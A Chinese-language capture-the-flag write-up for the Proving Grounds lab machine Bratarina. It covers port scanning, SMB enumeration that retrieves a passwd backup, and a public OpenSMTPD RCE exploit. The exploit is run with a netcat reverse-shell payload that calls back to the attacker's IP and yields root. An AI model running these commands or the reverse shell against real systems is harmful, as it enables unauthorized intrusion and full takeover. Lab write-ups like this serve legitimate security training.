PG靶机 - Bratarina
一、信息搜集与初步探测
1.1 端口扫描,摸清家底
先对目标 192.168.186.71
来个全端口扫描,看看它都开放了哪些服务。结果显示,目标主机开放了 22 (SSH)、25 (SMTP)、80 (HTTP) 和 445 (SMB) 等常见端口。这些都是我们接下来重点关注的对象。
sudo nmap 192.168.186.71 -p- --min-rate=5000 -A
1.2 SMB 渗透,发现惊喜
我们决定先从 SMB 服务下手。使用 enum4linux-ng
工具进行枚举后,发现了一个名为 backups
的共享目录,这通常不是默认共享,里面很可能有好东西。
enum4linux-ng 192.168.186.71
我们尝试匿名登录并下载该共享目录下的所有文件,果然,找到了一个名为 passwd.bak
的密码备份文件。
nxc smb 192.168.186.71 -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10000000
打开一看,这个文件就是 /etc/passwd
的一个备份。这下我们拿到了系统上所有的用户名,为后续的渗透提供了宝贵的信息。
1.3 Web 探测遇阻
接着,我们访问了 80 端口的 Web 服务,但只看到了一个 404 页面。页面上的几个按钮都指向了不同的域名,这强烈暗示网站配置了虚拟主机,需要我们修改本地的 hosts 文件才能正常访问。这个问题我们先记下,暂且放一放。
常规的目录爆破也没什么收获,除了一个空空如也的 robots.txt
,再无其他发现。看来 Web 这条路暂时是走不通了。
dirsearch -u http://192.168.186.71/ -x 404
二、峰回路转:SMTP 漏洞一击制胜
2.1 锁定攻击目标
既然 SMB 和 Web 的初步探测都未能直接突破,我们把目光转回到了 25 端口的 SMTP 服务上。Nmap 的扫描结果告诉我们,该服务使用的是 OpenSMTPD
,但没有提供具体的版本号。
抱着试一试的心态,我们搜索了 OpenSMTPD 的历史漏洞,发现有好几个高危的远程代码执行 (RCE) 漏洞。
2.2 漏洞利用,直接提权
虽然不清楚目标的具体版本,但历史漏洞值得一试。我们找到了一个公开的 RCE 利用脚本,稍作修改,直接向目标发起攻击。我们构造的 payload 是一句反弹 shell 的命令,让目标主动连接我们的攻击机。
python3 exp.py 192.168.186.71 25 'busybox nc 192.168.45.250 25 -e /bin/bash'
没想到,脚本刚一执行,本地监听的 Netcat 立刻就接收到了一个 shell。更让人惊喜的是,whoami
命令返回的结果竟然是 root
!
这次渗透可以说是出乎意料的顺利,靠着一个 SMTP 服务的漏洞,直接一步到位拿下了服务器的最高权限。